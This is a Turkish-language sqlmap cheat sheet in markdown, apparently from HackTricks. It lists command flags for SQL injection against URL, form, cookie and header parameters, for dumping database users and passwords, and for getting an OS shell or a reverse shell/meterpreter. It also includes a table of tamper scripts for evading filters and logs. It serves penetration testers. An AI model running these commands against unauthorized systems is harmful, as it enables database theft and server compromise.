188 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# SQLMap
{{#include ../../banners/hacktricks-training.md}}
## SQLmap için Temel Argümanlar
### Genel
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
### Teknik bayrakları (`--technique`)
`--technique` argümanı, sqlmap'in deneyeceği SQL enjeksiyon yöntemlerini tanımlar. Dizedeki her karakter bir tekniği temsil eder:
| Harf | Teknik | Açıklama |
| ------ | --------- | ----------- |
| B | Boolean tabanlı kör | Verileri çıkarmak için doğru/yanlış koşullarını kullanır |
| E | Hata tabanlı | Sonuçları dışa aktarmak için ayrıntılı DBMS hata mesajlarını kullanır |
| U | UNION sorgusu | Verileri aynı kanal üzerinden almak için `UNION SELECT` ifadelerini enjekte eder |
| S | Yığılmış sorgular | `;` ile ayrılmış ek ifadeler ekler |
| T | Zaman tabanlı kör | Enjeksiyonu tespit etmek için gecikmelere (`SLEEP`, `WAITFOR`) dayanır |
| Q | Satır içi / dış kanal | `LOAD_FILE()` gibi fonksiyonlar veya DNS gibi OOB kanallar kullanır |
Varsayılan sıralama `BEUSTQ`'dur. Bunları yeniden düzenleyebilir veya sınırlayabilirsiniz, örneğin sadece Boolean ve Zaman tabanlı bu sırayla:
```bash
sqlmap -u "http://target/?id=1" --technique="BT" --batch
```
### Bilgi Alımı
#### Dahili
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
#### DB verileri
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
## Enjeksiyon yeri
### Burp/ZAP yakalamasından
İsteği yakalayın ve req.txt dosyası oluşturun.
```bash
sqlmap -r req.txt --current-user
```
### GET İsteği Enjeksiyonu
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
### POST İsteği Enjeksiyonu
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
### Başlıklardaki ve Diğer HTTP Yöntemlerindeki Enjeksiyonlar
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
### İkinci derece enjeksiyon
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
### Shell
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
### SQLmap ile bir web sitesini tarayın ve otomatik olarak istismar edin
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
## Enjeksiyonu Özelleştirme
### Bir ek ayarlayın
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
### Önek
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
### Boolean enjeksiyonu bulmaya yardım
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Tamper
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Açıklama |
| :--------------------------- | :------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Apostrof karakterini UTF-8 tam genişlik karşılığı ile değiştirir |
| apostrophenullencode.py | Apostrof karakterini yasadışı çift unicode karşılığı ile değiştirir |
| appendnullbyte.py | Payload'un sonuna kodlanmış NULL byte karakteri ekler |
| base64encode.py | Verilen payload'daki tüm karakterleri Base64 ile kodlar |
| between.py | 'BÜYÜK' operatörünü \('&gt;'\) 'NOT BETWEEN 0 AND \#' ile değiştirir |
| bluecoat.py | SQL ifadesinden sonra boşluk karakterini geçerli rastgele boş karakter ile değiştirir. Sonrasında '=' karakterini LIKE operatörü ile değiştirir |
| chardoubleencode.py | Verilen payload'daki tüm karakterleri çift url-kodlar \(zaten kodlanmış olanları işlemden geçirmez\) |
| commalesslimit.py | 'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir |
| commalessmid.py | 'MID\(A, B, C\)' gibi örnekleri 'MID\(A FROM B FOR C\)' ile değiştirir |
| concat2concatws.py | 'CONCAT\(A, B\)' gibi örnekleri 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' ile değiştirir |
| charencode.py | Verilen payload'daki tüm karakterleri url-kodlar \(zaten kodlanmış olanları işlemden geçirmez\) |
| charunicodeencode.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar \(zaten kodlanmış olanları işlemden geçirmez\). "%u0022" |
| charunicodeescape.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar \(zaten kodlanmış olanları işlemden geçirmez\). "\u0022" |
| equaltolike.py | Eşitlik operatörünün tüm örneklerini \('='\) 'LIKE' operatörü ile değiştirir |
| escapequotes.py | Ters eğik çizgi ile alıntıları kaçırır \(' ve "\) |
| greatest.py | 'BÜYÜK' operatörünü \('&gt;'\) 'GREATEST' karşılığı ile değiştirir |
| halfversionedmorekeywords.py | Her anahtar kelimenin önüne versiyonlu MySQL yorumu ekler |
| ifnull2ifisnull.py | 'IFNULL\(A, B\)' gibi örnekleri 'IF\(ISNULL\(A\), B, A\)' ile değiştirir |
| modsecurityversioned.py | Tam sorguyu versiyonlu yorum ile sarar |
| modsecurityzeroversioned.py | Tam sorguyu sıfır versiyonlu yorum ile sarar |
| multiplespaces.py | SQL anahtar kelimelerinin etrafına birden fazla boşluk ekler |
| nonrecursivereplacement.py | Önceden tanımlanmış SQL anahtar kelimelerini değiştirme için uygun temsillerle değiştirir \(örneğin .replace\("SELECT", ""\)\) filtreleri |
| percentage.py | Her karakterin önüne bir yüzde işareti \('%'\) ekler |
| overlongutf8.py | Verilen payload'daki tüm karakterleri dönüştürür \(zaten kodlanmış olanları işlemden geçirmez\) |
| randomcase.py | Her anahtar kelime karakterini rastgele büyük/küçük harf değeri ile değiştirir |
| randomcomments.py | SQL anahtar kelimelerine rastgele yorumlar ekler |
| securesphere.py | Özel olarak hazırlanmış bir dize ekler |
| sp_password.py | Payload'un sonuna 'sp_password' ekler, DBMS günlüklerinden otomatik olarak gizlenmek için |
| space2comment.py | Boşluk karakterini \(' '\) yorumlarla değiştirir |
| space2dash.py | Boşluk karakterini \(' '\) bir tire yorumu \('--'\) ile değiştirir, ardından rastgele bir dize ve yeni bir satır \('\n'\) ekler |
| space2hash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından rastgele bir dize ve yeni bir satır \('\n'\) ekler |
| space2morehash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından rastgele bir dize ve yeni bir satır \('\n'\) ekler |
| space2mssqlblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
| space2mssqlhash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından yeni bir satır \('\n'\) ekler |
| space2mysqlblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
| space2mysqldash.py | Boşluk karakterini \(' '\) bir tire yorumu \('--'\) ile değiştirir, ardından yeni bir satır \('\n'\) ekler |
| space2plus.py | Boşluk karakterini \(' '\) artı \('+'\) ile değiştirir |
| space2randomblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
| symboliclogical.py | AND ve OR mantıksal operatörlerini sembolik karşılıkları ile değiştirir \(&& ve |
| unionalltounion.py | UNION ALL SELECT'i UNION SELECT ile değiştirir |
| unmagicquotes.py | Alıntı karakterini \('\) çok baytlı bir kombinasyon %bf%27 ile değiştirir, sonunda genel bir yorum ekler \(çalışması için\) |
| uppercase.py | Her anahtar kelime karakterini büyük harf değeri 'INSERT' ile değiştirir |
| varnish.py | Bir HTTP başlığı 'X-originating-IP' ekler |
| versionedkeywords.py | Her işlev olmayan anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
| versionedmorekeywords.py | Her anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
| xforwardedfor.py | Sahte bir HTTP başlığı 'X-Forwarded-For' ekler |
## Referanslar
- [SQLMap: SQL Veritabanı Güvenlik Açıklarını Test Etme](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
{{#include ../../banners/hacktricks-training.md}}